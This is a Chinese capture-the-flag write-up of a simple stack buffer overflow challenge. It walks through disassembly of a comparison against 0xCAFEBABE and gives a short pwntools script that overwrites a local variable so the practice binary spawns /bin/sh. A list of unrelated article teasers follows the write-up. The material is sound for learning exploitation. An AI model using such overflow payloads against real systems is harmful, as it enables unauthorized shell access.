1.Buffer_Overflow-2.Stack_Overflow / 写入字符串

news/2024/4/18 22:31:51

这道题虽然简单 但是却给我了另一个解题的看法

我们先进行运行

我们看看保护

 发现只有NX保护

反汇编看看

 发现有shellcode 但是我们没有办法执行shellcode 因为v5 不会等于后面的

这里我原本没有想法 后面进行看看他的汇编

 这里其实就很清楚了

.text:00000000004011BB                 mov     eax, 0CAFEBABEh
把这个数值放入eax中  这个数值转换为10进制 就是 3405691582.text:00000000004011C0                 cmp     [rbp+var_8], rax
进行比较
.text:00000000004011C4                 jnz     short loc_4011D7
如果不相同 就进行跳转 到下面的loc_4011D7 这里
.text:00000000004011C6                 lea     rdi, command    ; "/bin/sh"
如果相同 就是执行shellcode
.text:00000000004011CD                 mov     eax, 0
.text:00000000004011D2                 call    _system
.text:00000000004011D7
.text:00000000004011D7 loc_4011D7:                             ; CODE XREF: main+72↑j
.text:00000000004011D7                 mov     eax, 0
如果不相同 到这里的话就是退出了
.text:00000000004011DC                 leave
.text:00000000004011DD                 retn

我们发现我们写入的应该是多少后 我们应该确定垃圾字符的大小

因为如果和以前一样 在ret上写入 就不会返回 因为这次我们写入的是字符串 不是函数

没有自带返回

所以我们还是需要通过 gets的ret返回

我们继续看看

 

 我们在这里能发现  原来v5的地址在 rbp+var_8

进入 发现 var_8就是8 所以我们只需要将垃圾字符覆盖到 var_8

然后写入0CAFEBABEh   通过if判断 即可

这题我们就做完了

exp

from pwn import *
p=process('./buf2')
payload=b'A'*(0x20-0x08)+p64(0xCAFEBABE)
p.recvuntil("?\n")
p.sendline(payload)
p.interactive()

这里 recvuntil就是到?\n进行输入

其实就是我们输入的时候输入

这题不一样就是 通过看汇编 还有写入的是字符串


http://www.ppmy.cn/news/73388.html

相关文章

如何让你的 Jmeter+Ant 测试报告更具吸引力?

目录 引言 一、安装apache-Ant 二、Jmeter准备 3、生成测试报告 4、JMeter动态参数处理逻辑是什么? 5、JMeter是怎么做API自动化测试的? 结语 引言 想象一下,你辛苦搭建了一个复杂的网站,投入了大量的时间和精力进行开发和…

Linux 安装MySQL-5.7.30

本文总结在Linux上安装mysql数据库的方法以及遇到的问题。使用的环境信息 MySQL 5.7.30CentOS Linux release 7.6.1810 (Core) 1.官网下载MySQL 进入官网https://www.mysql.com/ 从下载页面下载社区版本其中社区版本免费,免费的午餐不提供技术支持. 页面中MySQL E…

第三十七章 弹灵守则第三十七条

“要不要一起玩?”那个跳来跳去的小男孩冲巴哥奔嘻嘻一笑。 “唔~” “很简单,这叫做玛丽的房间。”小男孩突然从她头顶跃过,脚尖点到她身后一块灰色方格。 “亮灰。” “D3D3D3。” “哈哈,你错了!”头顶扎着一根小辫…

RK3568平台开发系列讲解(驱动基础篇)RK平台RTC的使用

🚀返回专栏总目录 文章目录 一、HYM8563模块二、HYM8563模块三、接口使用3.1 sysfs 接口3.2 procfs 接口3.3 ioctl 接口沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇将对RK RTC的使用进行学习。 一、HYM8563模块 ROC-RK3568-PC开发板采用HYM8563作为RTC(Rea…

usb摄像头驱动-core层USB集线器(Hub)驱动

usb摄像头驱动-core层USB集线器(Hub)驱动 文章目录 usb摄像头驱动-core层USB集线器(Hub)驱动usb_hub_inithub_probehub_eventport_eventhub_port_connect_changehub_port_connectusb_new_deviceannounce_device 在USB摄像头驱动中…

二分查找怎么写? 你真的弄懂二分查找了吗

大家好,我是三叔,很高兴这期又和大家见面了,一个奋斗在互联网的打工人。 二分查找是一种高效的查找算法,也是Java中最基础的算法之一,常用于已排序数组中的元素查找。本篇博客将介绍二分查找的原理、应用场景以及实现…

多目标优化算法求解无人机三维路径规划

一、无人机模型 无人机三维路径规划是无人机在执行任务过程中的非常关键的环节,无人机三维路径规划的主要目的是在满足任务需求和自主飞行约束的基础上,计算出发点和目标点之间的最佳航路。 1.1路径成本 无人机三维路径规划的首要目标是寻找起飞点和目…

tomcat加载顺序

一、 1、启动一个WEB项目的时候&#xff0c;WEB容器会去读取它的配置文件web.xml&#xff0c;读取<listener>和<context-param>两个结点。 2、紧急着&#xff0c;容创建一个ServletContext&#xff08;servlet上下文&#xff09;&#xff0c;这个web项目的所有部…

C++应届生程序员进入公司需要注意的五个细节,希望对大家有帮助

今天想跟大家分享一下应届C程序员实习生在进入公司后需要注意哪些问题。 C程序员是一种非常重要的职业&#xff0c;主要负责使用C语言编写各种软件程序。C是一种面向对象的编程语言&#xff0c;常用于开发操作系统、游戏引擎、嵌入式系统、图像处理等领域。因此&#xff0c;C程…

秘塔写作猫

秘塔写作猫是集AI智能写作、多人协作、改写润色、文本校对等功能为一体的AI原生创作平台&#xff0c;可以帮助不同群体大幅提升写作效率和生产力。 接下来小编就带大家了解一下该软件具体的一些功能&#xff0c;不论你是学生、上班族还是自媒体从业者等&#xff0c;该工具绝对可…

【Linux】ko文件查询内部信息方法

objdump命令 在 Linux 中&#xff0c;可以使用 objdump 命令来反汇编 ko 文件并查看其中的宏定义值。 以下是如何使用 objdump 命令查看 ko 文件中的宏定义值的示例&#xff1a; objdump -d <ko文件> | grep <宏名称>其中&#xff0c;-d 参数表示反汇编目标文件…

【物联网技术对生活的影响与展望】

随着科技日新月异的发展&#xff0c;物联网&#xff08;IoT&#xff09;技术正在快速地影响着我们的生活。它是将各种设备和物品连接在一起&#xff0c;通过互联网使它们可以相互交流和传递数据的技术。它的应用范围广泛&#xff0c;可以涵盖从智能家居到工业网络的各个领域。 …

2-《Java进阶》

[TOC](2-《Java进阶》 一. java多线程&#xff08;非常重要&#xff09;1.1. 线程java多线程实现方式主要有&#xff1a;1.继承Thread 2.实现Runnable3.实现CallableRunnable 与 Callable的区别&#xff1a;1.2. 线程的状态有哪些&#xff1f;1.3. 线程的状态转换及控制1.4. Ja…

ES6中Promise对象

1.Promise 说明&#xff1a;Promise是异步编程的一种解决方案。简而言之&#xff0c;也就是存者未来发生的事件的容器。 Promise提供统一的API,各种异步操作都可以用同样的方法进行处理。 特点&#xff1a;对象的状态不受外界影响。Promise对象代表一个异步操作&#xff0c;存…

Linux MISC 驱动实验

misc 的意思是混合、杂项的&#xff0c;因此 MISC 驱动也叫做杂项驱动&#xff0c;也就是当我们板子上的某 些外设无法进行分类的时候就可以使用 MISC 驱动。MISC 驱动其实就是最简单的字符设备驱 动&#xff0c;通常嵌套在 platform 总线驱动中&#xff0c;实现复杂的驱动。 M…

Less和sass安装及使用

CSS预处理器 由来 CSS本身不是一种编程语言。你可以用它开发网页样式&#xff0c;但是没法用它编程。换句话说&#xff0c;CSS基本上是设计师的工具&#xff0c;不是程序员的工具。它并不像其它程序语言&#xff0c;比如说JavaScript等&#xff0c;有自己的变量、常量、条件语…

C#中使用git将项目代码上传到远程仓库的操作

一、远程仓库创建操作&#xff08;远程仓库使用的是gitHub&#xff09; 1、登录GitHub官网&#xff0c;注册登录账号后&#xff0c;点击创建仓库 2、仓库名称命名&#xff0c;如下所示&#xff1a; 3、创建成功如下所示&#xff1a;获得https协议&#xff08;https://github.c…

JuiceFS 在多云存储架构中的应用 | 深势科技分享

2020 年末&#xff0c;谷歌旗下 DeepMind 研发的 AI 程序 AlphaFold2 在国际蛋白质结构预测竞赛上取得惊人的准确度&#xff0c;使得 “AI 预测蛋白质结构” 这一领域受到了空前的关注。今天我们邀请到同领域企业&#xff0c;深势科技为大家分享其搭建基础平台时的实践与思考。…

在阿里做了6年软件测试,4月无情被辞,想给划水的兄弟提个醒

先简单交代一下背景吧&#xff0c;某不知名 985 的本硕&#xff0c;17 年毕业加入阿里&#xff0c;以“人员优化”的名义无情被裁员&#xff0c;之后跳槽到了有赞&#xff0c;一直从事软件测试的工作。之前没有实习经历&#xff0c;算是6年的工作经验吧。 这6年之间完成了一次…

python 图片保存成视频

&#x1f468;‍&#x1f4bb;个人简介&#xff1a; 深度学习图像领域工作者 &#x1f389;工作总结链接&#xff1a;https://blog.csdn.net/qq_28949847/article/details/128552785 链接中主要是个人工作的总结&#xff0c;每个链接都是一些常用demo&#xff0c…